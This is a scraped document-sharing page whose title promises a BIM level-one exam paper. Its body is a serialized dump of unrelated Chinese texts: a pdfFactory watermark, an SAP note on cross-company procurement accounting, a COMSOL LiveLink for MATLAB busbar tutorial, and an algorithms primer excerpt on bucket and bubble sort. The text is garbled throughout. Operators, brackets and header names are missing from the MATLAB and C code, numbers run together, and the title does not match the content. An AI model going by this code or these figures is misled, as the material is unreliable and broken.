第九期全国BIM等级考试一级考卷资料下载.pdf

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13:

{i:

0;s:

472:

"taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建taotai8PDF文件使用pdfFactoryPro试用版本创建";i:

1;s:

4925:

"跨公司采购袁江吕（QQ：

@#@953947349）跨公司采购跨公司采购1.业务总览业务总览由于各种原因，采购订单中经常会采购工厂和收货工厂属于不同公司代码，销售订单中销售工厂和发货工厂属于不同的公司代码的情况。

@#@这种情况发生在销售模块成为跨公司销售，发生在采购模块称为跨公司采购（也称为集中采购），对于集团型的公司，这种情况经常会发生。

@#@对于跨公司采购，有以下两个典型的场景：

@#@场景一场景一由于某些特殊原因，对供应商的收货是收到某个公司（如生产性的公司B），而对供应商的付款是由另外一家公司（如贸易性质的公司A）采购，如在国内，不少公司在香港特别行政区会成立这类贸易性质的公司，当需要向国外进口一些原材料则通过HK公司，实际供应商送货直接送至国内的工厂。

@#@场景二场景二某集团下，有多家公司（如公司B、公司C）都需要使用同一个原材料，采用集中采购的模式，有其中一家公司A与供应商签订协议，财务相关付款业务全部有A公司操作，但送货根据每家公司（公司B、C等）的需求送至各自公司的工厂中，如A公司可能是财务共享性质的公司或者母公司，统一负责对外部供应商的付款。

@#@2.方案分析方案分析对于上诉两个业务场景有以下两种方案2.1.方案一方案一认为是二次采购行为，相应的创建两张采购订单。

@#@首先是在系统中创建对外部供应商的采购订单，采购组织、收货工厂均为A公司，并创建针对A公司的公司间的采购订单，采购组织、收货公司为B公司。

@#@跨公司采购袁江吕（QQ：

@#@953947349）收到供应商的事务后，首先A公司进行收货，然后再从A公司针对公司间采购订单创建发货单，发给B公司，B公司再做收货。

@#@A公司财务流公司财务流采购原材料采购原材料入库入库借：

@#@库存100贷：

@#@GR/IR100发票过账发票过账借：

@#@GR/IR100进项税17贷：

@#@应付账款117销售原材料出库销售原材料出库借：

@#@发出商品100贷：

@#@库存100销售开票销售开票借：

@#@应收账款117贷：

@#@营业收入100销项税17B公司财务流公司财务流采购原材料入库采购原材料入库借：

@#@库存100跨公司采购袁江吕（QQ：

@#@953947349）贷：

@#@GR/IR100发票过账发票过账借：

@#@GR/IR100进项税17贷：

@#@应付账款1172.2.方案二方案二同一张采购订单，收货公司与发票校验的公司不同，创建采购订单，采购订单公司代码为A公司，采购订单中行项过账工厂属于B公司，这样当采购订单收货时，库存收到B公司，发票过账时，直接在A公司进行发票过账。

@#@发票过账时，除了产生对外部供应商的应付账款和会计凭证，还会在A、B两家公司之间产生公司间往来的会计凭证。

@#@采购订单入库采购订单入库B公司财务流公司财务流借：

@#@库存100贷：

@#@GR/IR100发票过账发票过账A公司财务流公司财务流借：

@#@应收账款100进项税17贷：

@#@应付账款117跨公司采购袁江吕（QQ：

@#@953947349）B公司财务流公司财务流借：

@#@GR/IR100贷：

@#@应付账款100手工凭证手工凭证A公司财务流公司财务流借：

@#@应收账款17贷：

@#@销项税17借：

@#@营业收入100贷：

@#@营业成本100B公司财务流公司财务流借：

@#@进项税17贷：

@#@应付账款172.3.方案比较方案比较方案二优点在与简洁，整个后勤模块的操作步骤少，并且与业务完全匹配。

@#@缺点在于缺少必要会计凭证（公司A缺少收入、成本科目，同时公司间往来凭证的科目中不包括税金科目），这些凭证需要手工进行制作，如果A公司需要出具增值税发票给B公司，那么采用该方案对金税接口也会有影响。

@#@方案一有点在于不需要财务手工做凭证，缺点是操作步骤多。

@#@3.系统实现系统实现3.1.方案一方案一正常采购+公司间采购跨公司采购袁江吕（QQ：

@#@953947349）3.2.方案二方案二3.2.1.通过通过OBYA（以下路径）（以下路径）维护跨公司的对应往来科目维护跨公司的对应往来科目SPRO-财务会计-总账会计-业务交易-准备跨公司代码交易3.2.1.创建采购订单创建采购订单公司代码为A010工厂为B001（对应公司代码为B010）跨公司采购袁江吕（QQ：

@#@953947349）3.2.2.采购订单收货采购订单收货跨公司采购袁江吕（QQ：

@#@953947349）3.2.3.发票过账发票过账跨公司采购袁江吕（QQ：

@#@953947349）A010B010袁江吕2017年10月24日";i:

2;s:

12810:

"VERSION4.4LiveLinkforMATLABTM简介?

@#@Partnumber:

@#@CM020010LiveLinkforMATLAB?

@#@20092013COMSOL?

@#@COMSOL4.4|i?

@#@ii|?

@#@|1?

@#@2|?

@#@COMSOLwithMATLAB?

@#@comsolservermatlab?

@#@COMSOLwithMATLAB|3?

@#@“?

@#@”?

@#@4|?

@#@2a?

@#@1?

@#@2b?

@#@“?

@#@”?

@#@“?

@#@”?

@#@|5?

@#@blk=geom.feature.create（blk,Block）;@#@blk.setIndex（size,2,0）;@#@blk.setIndex（size,3,1）;@#@?

@#@geom.feature.create（blk,Block）;@#@geom.feature（blk）.setIndex（size,2,0）;@#@geom.feature（blk）.setIndex（size,3,1）;@#@?

@#@1?

@#@“?

@#@COMSOLwithMATLAB”?

@#@2?

@#@model=ModelUtil.create（Model）;@#@?

@#@6|?

@#@“?

@#@”?

@#@1?

@#@2?

@#@3?

@#@ModelUtil.setServerBusyHandler（ServerBusyHandler

（2）;@#@?

@#@|71?

@#@model.param.set（L,9cm,Lengthofthebusbar）;@#@model.param.set（rad_1,6mm,Radiusofthefillet）;@#@model.param.set（tbb,5mm,Thickness）;@#@model.param.set（wbb,5cm,Width）;@#@model.param.set（mh,6mm,Maximumelementsize）;@#@model.param.set（htc,5W/m2/K,Heattransfercoefficient）;@#@model.param.set（Vtot,20mV,Appliedelectricpotential）;@#@?

@#@1?

@#@geom1=model.geom.create（geom1,3）;@#@?

@#@2?

@#@wp1=geom1.feature.create（wp1,WorkPlane）;@#@wp1.set（quickplane,xz）;@#@3?

@#@r1=wp1.geom.feature.create（r1,Rectangle）;@#@r1.set（size,L+2*tbb0.1）;@#@?

@#@4?

@#@r2=wp1.geom.feature.create（r2,Rectangle）;@#@r2.set（size,L+tbb0.1-tbb）;@#@r2.set（pos,0tbb）;@#@5?

@#@dif=wp1.geom.feature.create（dif,Difference）;@#@dif.selection（input）.set（r1）;@#@dif.selection（input2）.set（r2）;@#@8|?

@#@geom1.run;@#@?

@#@6?

@#@fil1=wp1.geom.feature.create（fil1,Fillet）;@#@fil1.selection（point）.set（dif

（1）,3）;@#@fil1.set（radius,tbb）;@#@7?

@#@fil2=wp1.geom.feature.create（fil2,Fillet）;@#@fil2.selection（point）.set（fil1

（1）,6）;@#@fil2.set（radius,2*tbb）;@#@?

@#@|98?

@#@ext1=geom1.feature.create（ext1,Extrude）;@#@ext1.selection（input）.set（wp1）;@#@ext1.set（distance,wbb）;@#@?

@#@mphgeom（model）?

@#@9?

@#@wp2=geom1.feature.create（wp2,WorkPlane）;@#@wp2.set（planetype,faceparallel）;@#@wp2.selection（face）.set（ext1

（1）,8）;@#@10?

@#@c1=wp2.geom.feature.create（c1,Circle）;@#@c1.set（r,rad_1）;@#@11?

@#@ext2=geom1.feature.create（ext2,Extrude）;@#@ext2.selection（input）.set（wp2）;@#@ext2.set（distance,-2*tbb）;@#@10|?

@#@12?

@#@wp3=geom1.feature.create（wp3,WorkPlane）;@#@wp3.set（planetype,faceparallel）;@#@wp3.selection（face）.set（ext1

（1）,4）;@#@13?

@#@c2=wp3.geom.feature.create（c2,Circle）;@#@c2.set（r,rad_1）;@#@c2.set（pos,-L/2+1.5e-2-wbb/4）;@#@14?

@#@copy=wp3.geom.feature.create（copy,Copy）;@#@copy.selection（input）.set（c2）;@#@copy.set（disply,wbb/2）;@#@15?

@#@ext3=geom1.feature.create（ext3,Extrude）;@#@ext3.selection（input）.set（wp3.c2wp3.copy）;@#@ext3.set（distance,-2*tbb）;@#@16?

@#@geom1.run;@#@?

@#@|11?

@#@1?

@#@sel1=model.selection.create（sel1）;@#@sel1.set（234567）;@#@sel1.name（Tibolts）;@#@2?

@#@mphviewselection（model,sel1）;@#@12|?

@#@5.998e7S/m7.407e5S/m?

@#@385J/（kg*K）710J/（kg*K）?

@#@11?

@#@8700kg/m34940kg/m3?

@#@400W/（m*K）7.5W/（m*K）1?

@#@mat1=model.material.create（mat1）;@#@?

@#@COPPERTITANIUM?

@#@|132?

@#@mat1.materialModel（def）.set（electricconductivity,5.998e7S/m）;@#@mat1.materialModel（def）.set（heatcapacity,385J/（kg*K）;@#@mat1.materialModel（def）.set（relpermittivity,1）;@#@mat1.materialModel（def）.set（density,8700kg/m3）;@#@mat1.materialModel（def）.set（thermalconductivity,400W/（m*K）;@#@3?

@#@mat1.name（Copper）;@#@4?

@#@mat2=model.material.create（mat2）;@#@mat2.materialModel（def）.set（electricconductivity,7.407e5S/m）;@#@mat2.materialModel（def）.set（heatcapacity,710J/（kg*K）;@#@mat2.materialModel（def）.set（relpermittivity,1）;@#@mat2.materialModel（def）.set（density,4940kg/m3）;@#@mat2.materialModel（def）.set（thermalconductivity,7.5W/（m*K）;@#@mat2.name（Titanium）;@#@5?

@#@mat2.selection.named（sel1）;@#@?

@#@1?

@#@ht=model.physics.create（ht,HeatTransfer,geom1）;@#@14|?

@#@2?

@#@hf1=ht.feature.create（hf1,HeatFluxBoundary,2）;@#@?

@#@3?

@#@hf1.set（HeatFluxType,InwardHeatFlux）;@#@hf1.selection.set（1:

@#@79:

@#@1416:

@#@42）;@#@hf1.set（h,htc）;@#@4?

@#@mphgeom（model,geom1,facemode,off,facelabels,on）?

@#@5?

@#@ec=model.physics.create（ec,ConductiveMedia,geom1）;@#@6?

@#@pot1=ec.feature.create（pot1,ElectricPotential,2）;@#@pot1.selection.set（43）;@#@pot1.set（V0,Vtot）;@#@7?

@#@gnd1=ec.feature.create（gnd1,Ground,2）;@#@gnd1.selection.set（815）;@#@?

@#@|15?

@#@1?

@#@emh=model.multiphysics.create（emh,ElectromagneticHeatSource,geom1,3）;@#@emh.selection.all;@#@2?

@#@emh.set（EMHeat_physics,ec）;@#@emh.set（Heat_physics,ht）;@#@?

@#@1?

@#@mesh=model.mesh.create（mesh,geom1）;@#@2?

@#@size=mesh.feature（size）;@#@size.set（hmax,mh）;@#@size.set（hmin,mh-mh/3）;@#@size.set（hcurve,0.2）;@#@3?

@#@ftet=mesh.feature.create（ftet,FreeTet）;@#@16|?

@#@4?

@#@mesh.run;@#@?

@#@5?

@#@mphmesh（model）?

@#@1?

@#@std=model.study.create（std）;@#@stat=std.feature.create（stat,Stationary）;@#@?

@#@|172?

@#@ModelUtil.showProgress（true）;@#@?

@#@3?

@#@std.run;@#@?

@#@18|?

@#@1?

@#@pg=model.result.create（pg,PlotGroup3D）;@#@2?

@#@surf=pg.feature.create（surf,Surface）;@#@surf.set（expr,T）;@#@?

@#@3?

@#@surf.set（rangecoloractive,on）;@#@surf.set（rangecolormin,322.6）;@#@surf.set（rangecolormax,323.3）;@#@4?

@#@mphplot（model,pg,rangenum,1）?

@#@|19?

@#@“?

@#@”?

@#@1?

@#@data=model.result.export.create（data,Data）;@#@data.setIndex（expr,T,0）;@#@data.set（filename,filepathTemperature.txt）;@#@data.run;@#@20|?

@#@%Model:

@#@%Version:

@#@COMSOL4.4.0%Date:

@#@Sep302013,11:

@#@25%Dimension:

@#@3%Nodes:

@#@1700%Expressions:

@#@1%Description:

@#@Temperature%Lengthunit:

@#@m%xyzT（K）0.09999999999999999-0.0038380818225469850.09639433064874708322.949889247876060.09749606929798824-0.0069997502975423650.1322.949261374022460.09999999999999996-0.0055555555555555560.1322.94824689779085?

@#@1?

@#@mphsave（model,/busbar）;@#@?

@#@mphsave（model,/busbar.m）;@#@?

@#@|21?

@#@MATLAB?

@#@“?

@#@”?

@#@1?

@#@2?

@#@“?

@#@COMSOLwithMATLAB”?

@#@3?

@#@22|?

@#@4?

@#@-?

@#@COMSOL4.4startedlisteningonport2036-?

@#@5?

@#@6?

@#@model=ModelUtil.model（Model2）;@#@?

@#@ModelUtil.tags7?

@#@mphmesh（model）8?

@#@model.result.remove（pg2）;@#@?

@#@|23?

@#@1?

@#@2?

@#@model=ModelUtil.create（ImportExample）;@#@model.geom.create（geom1,3）;@#@model.geom（geom1）.feature.create（blk1,Block）;@#@model.geom（geom1）.run;@#@3?

@#@4?

@#@5?

@#@24|?

@#@1?

@#@2?

@#@3?

@#@4?

@#@5?

@#@model.result（pg4）.feature（surf1）.set（expr,ec.normJ）;@#@model.result（pg4）.feature（surf1）.set（unit,A/m2）;@#@model.result（pg4）.feature（surf1）.set（rangecolormax,1e6）;@#@model.result（pg4）.feature（surf1）.set（descr,Currentdensitynorm）;@#@model.result（pg4）.feature（surf1）.set（rangecoloractive,on）;@#@?

@#@6?

@#@model.result（pg4）.feature（surf1）.set（expr,ht.Qtot）;@#@model.result（pg4）.feature（surf1）.set（unit,W/m3）;@#@model.result（pg4）.feature（surf1）.set（rangecolormax,1e4）;@#@?

@#@|25model.result（pg4）.feature（surf1）.set（descr,Totalheatsource）;@#@?

@#@7?

@#@8?

@#@model=busbar;@#@9?

@#@mphplot（model,pg4,rangenum,1）?

@#@“?

@#@”?

@#@26|?

@#@LiveLinkforMATLAB?

@#@1?

@#@2?

@#@model=mphload（busbar）;@#@?

@#@1?

@#@data=mpheval（model,V）?

@#@data=expr:

@#@Vd1:

@#@1x1713doublep:

@#@3x1713doublet:

@#@4x5834int32ve:

@#@1713x1int32unit:

@#@V?

@#@|27mpheval?

@#@-?

@#@2?

@#@data2=mpheval（model,TV）?

@#@data2=expr:

@#@TVd1:

@#@1x1713doubled2:

@#@1x1713doublep:

@#@3x1713doublet:

@#@4x5834int32ve:

@#@1713x1int32unit:

@#@KV?

@#@3?

@#@data3=mpheval（model,T,refine,2）?

@#@data3=expr:

@#@Td1:

@#@1x10625doublep:

@#@3x10625doublet:

@#@4x46672int32ve:

@#@10625x1int32unit:

@#@K?

@#@mphmesh（model）holdon;@#@plot3（data3.p（1,:

@#@）,data3.p（2,:

@#@）,data3.p（3,:

@#@）,.）;@#@plot3（data2.p（1,:

@#@）,data2.p（2,:

@#@）,data2.p（3,:

@#@）,.r）;@#@28|?

@#@4?

@#@data4=mpheval（model,ec.normJ,.edim,2,selection,43）?

@#@data4=expr:

@#@ec.normJd1:

@#@1x24doublep:

@#@3x24doublet:

@#@3x30int32ve:

@#@24x1int32unit:

@#@A/m2?

@#@|291?

@#@Qtot=mphinterp（model,ht.Qtot,coord,5e-2;@#@-2e-2;@#@1e-3）?

@#@Qtot=7.0725e+0032?

@#@x0=0:

@#@5e-2/4:

@#@5e-2;@#@y0=0:

@#@-2.5e-2/4:

@#@-2.5e-2;@#@z0=05e-3;@#@x,y,z=meshgrid（x0,y0,z0）;@#@xx=x（:

@#@）,y（:

@#@）,z（:

@#@）;@#@Qtot=mphinterp（model,ht.Qtot,coord,xx）;@#@3?

@#@Qtot=reshape（Qtot,length（x0）,length（y0）,length（z0）?

@#@Qtot（:

@#@,:

@#@,1）=1.0e+05*0.00000.02830.07510.07100.07070.00070.24750.07490.07070.07070.00003.05860.07020.07040.07070.00060.41240.07510.07070.07070.00000.02920.07540.07100.0707Qtot（:

@#@,:

@#@,2）=1.0e+03*0.00032.90047.49047.09997.07330.07535.16407.18367.07407.07220.00038.58745.47267.04717.07100.06135.49487.11907.07227.07190.00032.91447.49277.09787.0733?

@#@1?

@#@Vtot=mphglobal（model,Vtot）Vtot=0.0230|?

@#@2?

@#@Q=mphint2（model,ec.Qh,volume,selection,1）?

@#@Q=0.24693?

@#@Iunit=mphint2（model,ec.normJ,surface,selection,43）I=162.7720unit=A4?

@#@maxT=mphmax（model,T,volume,selection,1）maxT=323.34305?

@#@maxT=mphmax（model,T,surface,selection,43）maxT=330.6576?

@#@|31?

@#@1?

@#@model=mphload（busbar）;@#@2?

@#@mphnavigator32|?

@#@3?

@#@4?

@#@|33?

@#@“?

@#@”?

@#@1?

@#@2?

@#@model=mphload（busbar）;@#@3?

@#@mphplot（model,pg4,rangenum,1）;@#@4?

@#@model.param.set（L,18cm）;@#@5?

@#@model.sol（sol1）.run;@#@34|?

@#@6?

@#@mphplot（model,pg4,rangenum,1）;@#@?

@#@1?

@#@L0=9e-2;@#@2?

@#@model.param.set（L,L0）;@#@?

@#@|35?

@#@“?

@#@”?

@#@3?

@#@mphgeom（model）?

@#@4?

@#@r1=model.geom（geom1）.feature（wp1）.geom.feature（r1）;@#@r2=model.geom（geom1）.feature（wp1）.geom.feature（r2）;@#@5?

@#@H1=0.2;@#@H2=0.195;@#@6?

@#@r1.set（ly,H1）;@#@r2.set（ly,H2）;@#@36|?

@#@“?

@#@”?

@#@7?

@#@mphgeom（model）;@#@?

@#@8?

@#@L0=0.1;@#@9?

@#@r1.set（ly,L0）;@#@r2.set（ly,num2str（L0）-tbb）;@#@10?

@#@|37mphgeom（model）;@#@?

@#@1?

@#@2?

@#@functionmodelParam（model,filepath）?

@#@3?

@#@filename=fullfile（filepath,results.txt）;@#@fid=fopen（filename,wt）;@#@38|?

@#@model.hist.disable;@#@5?

@#@forL=9e-215e-2model.param.set（L,L）;@#@6?

@#@fortbb=5e-310e-3model.param.set（tbb,tbb）;@#@7?

@#@forVtot=20e-340e-3model.param.set（Vtot,Vtot）;@#@8?

@#@fprintf（fid,num2str（L）,|,num2str（tbb）,.|,num2str（Vtot）,|）;@#@9?

@#@model.sol（sol1）.run;@#@10?

@#@MaxT=mphmax（model,T,3,selection,1）;@#@TotQ=mphint2（model,ht.Qtot,3,selection,1）;@#@Current=mphint2（model,ec.normJ,2,selection,43）;@#@11?

@#@fprintf（fid,num2str（MaxT）,|,num2str（TotQ）,.|,num2str（Current）,n）;@#@12?

@#@modelName=fullfile（filepath,busbar_L=,num2str（L）,._tbb=,num2str（tbb）,._Vtot=,num2str（Vtot）,.mph）;@#@mphsave（model,modelName）;@#@13?

@#@endendend14?

@#@fclose（fid）;@#@?

@#@|39?

@#@functionmodelParam（model,filepath）filename=fullfile（filepath,results.txt）;@#@fid=fopen（filename,wt）;@#@fprintf（fid,*runparametricstudy*n）;@#@fprintf（fid,Lm|tbbm|VtotV|）;@#@fprintf（fid,MaxTK|TotQW|CurrentAn）;@#@model.hist.disable;@#@forL=9e-215e-2model.param.set（L,L）;@#@fortbb=5e-310e-3model.param.set（tbb,tbb）;@#@forVtot=20e-340e-3model.param.set（Vtot,Vtot）;@#@fprintf（fid,num2str（L）,|,num2str（tbb）,.|,num2str（Vtot）,|）;@#@model.sol（sol1）.run;@#@MaxT=mphmax（model,T,3,selection,1）;@#@TotQ=mphint2（model,ht.Qtot,3,selection,1）;@#@Current=mphint2（model,ec.normJ,2,selection,43）;@#@fprintf（fid,num2str（MaxT）,|,num2str（TotQ）,.|,num2str（Current）,n）;@#@modelName=fullfile（filepath,busbar_L=,num2str（L）,._tbb=,num2str（tbb）,_Vtot=,num2str（Vtot）,.mph）;@#@mphsave（model,modelName）;@#@endendendfclose（fid）;@#@15?

@#@16?

@#@model=mphload（busbar）;@#@17?

@#@modelParam（model,filepath）18?

@#@*runparametricstudy*Lm|tbbm|VtotV|MaxTK|TotQW|CurrentA0.09|0.005|0.02|323.343|0.24691|162.7720.09|0.005|0.04|414.1278|0.98764|325.5440.09|0.01|0.02|308.5287|0.047891|96.40020.09|0.01|0.04|355.0164|0.19156|192.80050.15|0.005|0.02|315.916|0.33082|157.58320.15|0.005|0.04|384.3693|1.3233|315.16650.15|0.01|0.02|305.1033|0.065242|95.47220.15|0.01|0.04|341.2363|0.26097|190.944540|?

@#@|41?

@#@1?

@#@2?

@#@42|?

@#@functionout=conductivity（x）out=400+5*randn（size（x）;@#@3?

@#@4?

@#@functionout=heatflux（x,y,x0,y0,Q0,scale）radius=sqrt（x-x0）.2+（y-y0）.2）;@#@";i:

3;s:

24356:

"第1章一大波数正在靠近排序1一大波数正在靠近排序第1章啊哈！

@#@算法2第1节最快最简单的排序桶排序在我们生活的这个世界中到处都是被排序过的东东。

@#@站队的时候会按照身高排序，考试的名次需要按照分数排序，网上购物的时候会按照价格排序，电子邮箱中的邮件按照时间排序总之很多东东都需要排序，可以说排序是无处不在。

@#@现在我们举个具体的例子来介绍一下排序算法。

@#@首先出场的是我们的主人公小哼，上面这个可爱的娃就是啦。

@#@期末考试完了老师要将同学们的分数按照从高到低排序。

@#@小哼的班上只有5个同学，这5个同学分别考了5分、3分、5分、2分和8分，哎，考得真是惨不忍睹（满分是10分）。

@#@接下来将分数进行从大到小排序，排序后是85532。

@#@你有没有什么好方法编写一段程序，让计算机随机读入5个数然后将这5个数从大到小输出？

@#@请先想一想，至少想15分钟再往下看吧（*_*）。

@#@第1章一大波数正在靠近排序3我们这里只需借助一个一维数组就可以解决这个问题。

@#@请确定你真的仔细想过再往下看哦。

@#@首先我们需要申请一个大小为11的数组inta11。

@#@OK，现在你已经有了11个变量，编号从a0a10。

@#@刚开始的时候，我们将a0a10都初始化为0，表示这些分数还都没有人得过。

@#@例如a0等于0就表示目前还没有人得过0分，同理a1等于0就表示目前还没有人得过1分a10等于0就表示目前还没有人得过10分。

@#@下面开始处理每一个人的分数，第一个人的分数是5分，我们就将相对应的a5的值在原来的基础增加1，即将a5的值从0改为1，表示5分出现过了一次。

@#@第二个人的分数是3分，我们就把相对应的a3的值在原来的基础上增加1，即将a3的值从0改为1，表示3分出现过了一次。

@#@啊哈！

@#@算法4注意啦！

@#@第三个人的分数也是5分，所以a5的值需要在此基础上再增加1，即将a5的值从1改为2，表示5分出现过了两次。

@#@按照刚才的方法处理第四个和第五个人的分数。

@#@最终结果就是下面这个图啦。

@#@你发现没有，a0a10中的数值其实就是0分到10分每个分数出现的次数。

@#@接下来，我们只需要将出现过的分数打印出来就可以了，出现几次就打印几次，具体如下。

@#@a0为0，表示“0”没有出现过，不打印。

@#@a1为0，表示“1”没有出现过，不打印。

@#@a2为1，表示“2”出现过1次，打印2。

@#@a3为1，表示“3”出现过1次，打印3。

@#@a4为0，表示“4”没有出现过，不打印。

@#@a5为2，表示“5”出现过2次，打印55。

@#@a6为0，表示“6”没有出现过，不打印。

@#@a7为0，表示“7”没有出现过，不打印。

@#@a8为1，表示“8”出现过1次，打印8。

@#@a9为0，表示“9”没有出现过，不打印。

@#@a10为0，表示“10”没有出现过，不打印。

@#@最终屏幕输出“23558”，完整的代码如下。

@#@#includeintmain（）inta11,i,j,t;@#@for（i=0;@#@i=10;@#@i+）ai=0;@#@/初始化为0for（i=1;@#@i=5;@#@i+）/循环读入5个数第1章一大波数正在靠近排序5scanf（%d,&@#@t）;@#@/把每一个数读到变量t中at+;@#@/进行计数for（i=0;@#@i=10;@#@i+）/依次判断a0a10for（j=1;@#@j=ai;@#@j+）/出现了几次就打印几次printf（%d,i）;@#@getchar（）;@#@getchar（）;@#@/这里的getchar（）;@#@用来暂停程序，以便查看程序输出的内容/也可以用system（pause）;@#@等来代替return0;@#@输入数据为：

@#@53528仔细观察的同学会发现，刚才实现的是从小到大排序。

@#@但是我们要求是从大到小排序，这该怎么办呢？

@#@还是先自己想一想再往下看哦。

@#@其实很简单。

@#@只需要将for（i=0;@#@i=0;@#@i-）就OK啦，快去试一试吧。

@#@这种排序方法我们暂且叫它“桶排序”。

@#@因为其实真正的桶排序要比这个复杂一些，以后再详细讨论，目前此算法已经能够满足我们的需求了。

@#@这个算法就好比有11个桶，编号从010。

@#@每出现一个数，就在对应编号的桶中放一个小旗子，最后只要数数每个桶中有几个小旗子就OK了。

@#@例如2号桶中有1个小旗子，表示2出现了一次；@#@3号桶中有1个小旗子，表示3出现了一次；@#@5号桶中有2个小旗子，表示5出现了两次；@#@8号桶中有1个小旗子，表示8出现了一次。

@#@现在你可以尝试一下输入n个01000之间的整数，将它们从大到小排序。

@#@提醒一下，啊哈！

@#@算法6如果需要对数据范围在01000的整数进行排序，我们需要1001个桶，来表示01000之间每一个数出现的次数，这一点一定要注意。

@#@另外，此处的每一个桶的作用其实就是“标记”每个数出现的次数，因此我喜欢将之前的数组a换个更贴切的名字book（book这个单词有记录、标记的意思），代码实现如下。

@#@#includeintmain（）intbook1001,i,j,t,n;@#@for（i=0;@#@i=1000;@#@i+）booki=0;@#@scanf（%d,&@#@n）;@#@/输入一个数n，表示接下来有n个数for（i=1;@#@i=0;@#@i-）/依次判断编号10000的桶for（j=1;@#@j=booki;@#@j+）/出现了几次就将桶的编号打印几次printf（%d,i）;@#@getchar（）;@#@getchar（）;@#@return0;@#@可以输入以下数据进行验证。

@#@1081005022156110009990运行结果是：

@#@10009991005022158610最后来说下时间复杂度的问题。

@#@代码中第6行的循环一共循环了m次（m为桶的个数），第9行的代码循环了n次（n为待排序数的个数），第14行和第15行一共循环了m+n次。

@#@所以整个排序算法一共执行了m+n+m+n次。

@#@我们用大写字母O来表示时间复杂度，因此该第1章一大波数正在靠近排序7算法的时间复杂度是O（m+n+m+n）即O（2*（m+n）。

@#@我们在说时间复杂度的时候可以忽略较小的常数，最终桶排序的时间复杂度为O（m+n）。

@#@还有一点，在表示时间复杂度的时候，n和m通常用大写字母即O（M+N）。

@#@这是一个非常快的排序算法。

@#@桶排序从1956年就开始被使用，该算法的基本思想是由E.J.Issac和R.C.Singleton提出来的。

@#@之前我说过，其实这并不是真正的桶排序算法，真正的桶排序算法要比这个更加复杂。

@#@但是考虑到此处是算法讲解的第一篇，我想还是越简单易懂越好，真正的桶排序留在以后再聊吧。

@#@需要说明一点的是：

@#@我们目前学习的简化版桶排序算法，其本质上还不能算是一个真正意义上的排序算法。

@#@为什么呢？

@#@例如遇到下面这个例子就没辙了。

@#@现在分别有5个人的名字和分数：

@#@huhu5分、haha3分、xixi5分、hengheng2分和gaoshou8分。

@#@请按照分数从高到低，输出他们的名字。

@#@即应该输出gaoshou、huhu、xixi、haha、hengheng。

@#@发现问题了没有？

@#@如果使用我们刚才简化版的桶排序算法仅仅是把分数进行了排序。

@#@最终输出的也仅仅是分数，但没有对人本身进行排序。

@#@也就是说，我们现在并不知道排序后的分数原本对应着哪一个人！

@#@这该怎么办呢？

@#@不要着急，请看下节冒泡排序。

@#@第2节邻居好说话冒泡排序简化版的桶排序不仅仅有上一节所遗留的问题，更要命的是：

@#@它非常浪费空间！

@#@例如需要排序数的范围是02100000000，那你则需要申请2100000001个变量，也就是说要写成inta2100000001。

@#@因为我们需要用2100000001个“桶”来存储02100000000每一个数出现的次数。

@#@即便只给你5个数进行排序（例如这5个数是1、1912345678、2100000000、18000000和912345678），你也仍然需要2100000001个“桶”，这真是太浪费空间了！

@#@还有，如果现在需要排序的不再是整数而是一些小数，比如将5.56789、2.12、1.1、3.123、4.1234这五个数进行从小到大排序又该怎么办呢？

@#@现在我们来学习另一种新的排序算法：

@#@冒泡排序。

@#@它可以很好地解决这两个问题。

@#@冒泡排序的基本思想是：

@#@每次比较两个相邻的元素，如果它们的顺序错误就把它们交换过来。

@#@例如我们需要将1235991876这5个数进行从大到小的排序。

@#@既然是从大到小排序，也就是说越小的越靠后，你是不是觉得我在说废话，但是这句话很关键（_）。

@#@首先比较第1位和第2位的大小，现在第1位是12，第2位是35。

@#@发现12比35要小，啊哈！

@#@算法8因为我们希望越小越靠后嘛，因此需要交换这两个数的位置。

@#@交换之后这5个数的顺序是3512991876。

@#@按照刚才的方法，继续比较第2位和第3位的大小，第2位是12，第3位是99。

@#@12比99要小，因此需要交换这两个数的位置。

@#@交换之后这5个数的顺序是3599121876。

@#@根据刚才的规则，继续比较第3位和第4位的大小，如果第3位比第4位小，则交换位置。

@#@交换之后这5个数的顺序是3599181276。

@#@最后，比较第4位和第5位。

@#@4次比较之后5个数的顺序是3599187612。

@#@经过4次比较后我们发现最小的一个数已经就位（已经在最后一位，请注意12这个数的移动过程），是不是很神奇。

@#@现在再来回忆一下刚才比较的过程。

@#@每次都是比较相邻的两个数，如果后面的数比前面的数大，则交换这两个数的位置。

@#@一直比较下去直到最后两个数比较完毕后，最小的数就在最后一个了。

@#@就如同是一个气泡，一步一步往后“翻滚”，直到最后一位。

@#@所以这个排序的方法有一个很好听的名字“冒泡排序”。

@#@说到这里其实我们的排序只将5个数中最小的一个归位了。

@#@每将一个数归位我们将其称第1章一大波数正在靠近排序9为“一趟”。

@#@下面我们将继续重复刚才的过程，将剩下的4个数一一归位。

@#@好，现在开始“第二趟”，目标是将第2小的数归位。

@#@首先还是先比较第1位和第2位，如果第1位比第2位小，则交换位置。

@#@交换之后这5个数的顺序是9935187612。

@#@接下来你应该都会了，依次比较第2位和第3位，第3位和第4位。

@#@注意此时已经不需要再比较第4位和第5位。

@#@因为在第一趟结束后已经可以确定第5位上放的是最小的了。

@#@第二趟结束之后这5个数的顺序是9935761812。

@#@“第三趟”也是一样的。

@#@第三趟之后这5个数的顺序是9976351812。

@#@现在到了最后一趟“第四趟”。

@#@有的同学又要问了，这不是已经排好了吗？

@#@还要继续？

@#@当然，这里纯属巧合，你若用别的数试一试可能就不是了。

@#@你能找出这样的数据样例来吗？

@#@请试一试。

@#@“冒泡排序”的原理是：

@#@每一趟只能确定将一个数归位。

@#@即第一趟只能确定将末位上的数（即第5位）归位，第二趟只能将倒数第2位上的数（即第4位）归位，第三趟只能将倒数第3位上的数（即第3位）归位，而现在前面还有两个位置上的数没有归位，因此我们仍然需要进行“第四趟”。

@#@“第四趟”只需要比较第1位和第2位的大小。

@#@因为后面三个位置上的数归位了，现在第1位是99，第2位是76，无需交换。

@#@这5个数的顺序不变仍然是9976351812。

@#@到此排序完美结束了，5个数已经有4个数归位，那最后一个数也只能放在第1位了。

@#@最后我们总结一下：

@#@如果有n个数进行排序，只需将n1个数归位，也就是说要进行n-1趟操作。

